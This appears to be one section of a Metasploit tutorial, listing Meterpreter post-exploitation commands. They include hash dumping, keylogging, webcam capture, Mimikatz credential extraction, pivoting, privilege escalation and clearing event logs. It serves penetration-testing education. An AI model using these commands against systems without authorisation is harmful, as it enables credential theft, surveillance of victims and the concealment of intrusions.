Metasploit Section 5 of 10

Meterpreter Commands

Meterpreter is Metasploit's advanced payload that provides an interactive shell with many built-in commands. It runs entirely in memory, making it harder to detect.

sysinfoDisplay system information (OS, architecture, hostname)

getuidShow current user ID

psList running processes

migrateMigrate to another process for stability or privilege evasion

shellDrop into a system shell

backgroundBackground the session and return to msfconsole

downloadDownload a file from the target

uploadUpload a file to the target

searchSearch for files on the target filesystem

hashdumpDump password hashes (Windows SAM database)

keyscan_startStart keylogger

keyscan_dumpDump captured keystrokes

screenshotCapture target screen image

webcam_snapCapture image from target webcam

portfwdCreate port forwarding through the session

routeAdd routing for pivoting through the compromised host

load kiwiLoad Mimikatz module for credential extraction

getsystemAttempt to elevate to SYSTEM privileges

clearevClear Windows event logs

Tip

Use background to return to msfconsole while keeping your Meterpreter session alive. Then use sessions -i ID to return to it.

Privilege Escalation

Meterpreter includes several methods to escalate privileges:

getsystem - Attempt to elevate via kernel exploits
load kiwi - Load Mimikatz for credential theft
use post/multi/recon/local_exploit_suggester - Find local exploits

Next: Workflow Back